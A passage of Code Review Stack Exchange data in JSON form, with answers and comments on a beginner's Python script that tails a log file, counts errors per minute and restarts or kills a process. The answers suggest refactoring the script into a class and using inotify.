EOF)... Just tried it..." } ], "meta_data": { "CommentCount": "12", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T15:27:02.683", "Id": "232064", "ParentId": "232058", "Score": "6" } }, { "body": "<blockquote>\n <p><em>... about making this class based, but it really doesn't make sense to do\n it ...</em></p>\n</blockquote>\n\n<p>I'd not agree with that, because:</p>\n\n<ul>\n<li>same arguments <code>filename/f</code> and <code>line</code> are passed around across multiple functions</li>\n<li>with custom class approach the <em>things</em> can be initialized/defined at once (on <em>class</em> definition or instantiation phase)</li>\n<li>with OOP approach I'm confident that functions like <code>parse_time(line)</code> or <code>find_error(line, ...)</code> are not passed with undesirable or \"tricky\" <code>line</code> argument, as the line being currently read can be encapsulated.</li>\n</ul>\n\n<hr>\n\n<p>List of issues (with support of OOP approach):</p>\n\n<ul>\n<li>pattern <code>date_regex = r'\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}'</code>. <br>Instead of generating regex pattern on each call of <code>parse_time</code> function - we'll just make it a class <strong><code>LogMonitor</code></strong> constant called <strong><code>DATE_REGEX</code></strong>. <br>Furthermore, we can precompile the regex pattern with <a href=\"https://docs.python.org/3/library/re.html#re.compile\" rel=\"nofollow noreferrer\"><code>re.complie</code></a> function:</li>\n</ul>\n\n<blockquote>\n <p>using <code>re.compile()</code> and saving the resulting regular expression\n object for reuse is more efficient when the expression will be used\n several times in a single program</p>\n</blockquote>\n\n<pre><code> DATE_REGEX = re.compile(r'\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}')\n</code></pre>\n\n<ul>\n<li><p><code>increase_base_time</code> function. <br><code>datetime.timedelta(minutes=1)</code> is easily extracted to another constant:</p>\n\n<pre><code>INC_MINUTE = datetime.timedelta(minutes=1)\n</code></pre></li>\n<li><p><strong><code>find_error(line, base_time, line_time)</code></strong> function.<br>Besides of simplifying <code>ERROR</code> pattern search (as @Graipher mentioned) the function has another issue as it introduces an unnecessary coupling/dependency on two external identifiers <code>base_time</code> and <code>line_time</code> - whereas the sufficient function's responsibility is <em>\"check if <code>ERROR</code> occurs within the current log line\"</em> (returning boolean result)<br>That dependency should be eliminated. <br>To \"beat\" that, the crucial conditional within <code>monitor</code> function that calls the <code>find_error</code> function can be restructured to present a <em>natural</em> order of mutually <em>exclusive</em> conditions: </p>\n\n<pre><code> ...\n if line_time &gt; base_time:\n base_time = self.increase_base_time(line_time)\n count = 0\n elif self.find_error():\n count += 1\n</code></pre></li>\n</ul>\n\n<hr>\n\n<p>In below OOP implementation the input <em>filename</em> is passed at once to <code>LogMonitor</code> constructor as <code>LogMonitor(sys.argv[1])</code>, the functions are logically renamed, the needed state/behavior is encapsulated, the above mentioned OOP benefits/arguments included.</p>\n\n<pre><code>import sys\nimport time\nimport datetime\nimport os\nimport re\n\n\nclass LogMonitor:\n DATE_REGEX = re.compile(r'\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}')\n INC_MINUTE = datetime.timedelta(minutes=1)\n\n def __init__(self, filename):\n self._fname = filename\n self._log = self._read_log() # generator\n self._curr_line = ''\n\n def _read_log(self):\n \"\"\"Basically tail -f\"\"\"\n with open(self._fname) as logfile:\n logfile.seek(0, os.SEEK_END)\n while True:\n new_line = logfile.readline()\n if new_line:\n self._curr_line = new_line\n yield self._curr_line\n else:\n time.sleep(0.1)\n\n def _has_error(self):\n \"\"\"\n Search for ERROR keyword in log line. Returns boolean result\"\"\"\n return 'ERROR' in self._curr_line\n\n def _parse_datetime(self):\n \"\"\"Parse string to datetime\"\"\"\n date_string = self.DATE_REGEX.search(self._curr_line).group(0)\n return datetime.datetime.strptime(date_string, \"%Y-%m-%d %H:%M:%S\")\n\n def increase_base_time(self, line_time):\n \"\"\"Return a datetime that is line_time plus one minute\"\"\"\n return line_time + self.INC_MINUTE\n\n def run(self):\n \"\"\"\n Read from a log file.\n For each line check if log line time is later than base comparison time.\n If so, update the base time and set error count to 0.\n Check for errors in line. Increment error count if any are found.\n Check the total error count. If it's greater than five, restart the logged\n process.\n Check if process has been restarted before. If so, kill the logged process.\n \"\"\"\n count = 0\n base_time = datetime.datetime.min\n restarted = False\n\n for line in self._log:\n line_time = self._parse_datetime()\n if line_time &gt; base_time:\n base_time = self.increase_base_time(line_time)\n count = 0\n elif self._has_error():\n count += 1\n\n if count &gt;= 5:\n if restarted:\n print(\"Kill the process\") # A placeholder, sorry\n else:\n print(\"Restart the process\") # Also a placeholder, sorry\n count = 0\n restarted = True\n\n\nif __name__ == \"__main__\":\n monitor = LogMonitor(sys.argv[1])\n monitor.run()\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T19:45:14.563", "Id": "453095", "Score": "0", "body": "Thank you! Those are good points and I think I am actually switching over to using a class. Just to clarify the `line_time` and `base_time` thing in `find_error`: the idea was to look for errors within a set time frame (like if there has been five or more errors within a minute). I really should have made it more clear, sorry. Also a question: could I call the `read_log` inside the `run` function instead? Because that seems to be the only one using it? Or is there a important reason why to call it in the class variables (`self._log = self._read_log()`)? Thanks!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T20:02:15.363", "Id": "453096", "Score": "1", "body": "@sjne, `self._read_log()` is just scheduling a generator. Making it on class instantiation phase is a generic way. If your implementation is expected to be simplified and never be extended - you may move it." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:04:42.893", "Id": "232070", "ParentId": "232058", "Score": "3" } }, { "body": "<p>Here is my contribution.</p>\n\n<p>You should not make the while True loop, instead of that you should use <strong>inotify</strong> in order to been notify only when changes happen on the file that you are monitoring, here is a short code.</p>\n\n<pre><code>import inotify.adapters\n\ndef _read_log(self):\n i = inotify.adapters.Inotify()\n\n i.add_watch(f)\n\n with open(f, 'w'):\n pass\n\n for event in i.event_gen(yield_nones=False):\n (_, type_names, path, filename) = event\n\n do_work()\n</code></pre>\n\n<p>Basically your process will be only unblock until there are some changes on the file that you are monitoring. </p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T13:54:11.397", "Id": "453151", "Score": "0", "body": "Thank you! Just started to look into it. As far as I understand it at the moment, I'd be using `inotify` to track an event and then read the log file lines if there's a change? \nSo `doWork()` would mean something like yielding or returning `logfile.readline()`? Sorry, I'm a bit lost as to how to actually get the changed line (cause `inotify` only returns a generator about the event?). Could you please give me some hints?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T14:08:41.943", "Id": "453157", "Score": "0", "body": "For example could I just replace `do_work()` with `yield logfile.readline()`? And can I add `logfile.seek(0, os.SEEK_END)` after `with open(f, 'w') as logfile`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T21:27:18.900", "Id": "453328", "Score": "0", "body": "I tried it as described above (plus replaced the `pass` with the `for event` block and used the `add_watch()` with the constant `IN_MODIFY`). A loop was logging two lines every 30 seconds to the log file and inotify did pick it up but often it would just skip one of the lines and print it 30 seconds later." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T20:11:16.957", "Id": "232076", "ParentId": "232058", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:28:36.680", "Id": "232058", "Score": "5", "Tags": [ "python", "beginner", "status-monitoring" ], "Title": "Log monitoring with pythonic tail -f and process killing" }
232058